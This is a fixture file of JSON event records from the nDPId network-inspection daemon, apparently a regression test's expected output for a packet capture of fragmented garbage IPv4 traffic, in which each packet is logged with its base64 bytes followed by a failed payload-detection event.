+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692725,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692839,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693025,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693125,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":693286,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 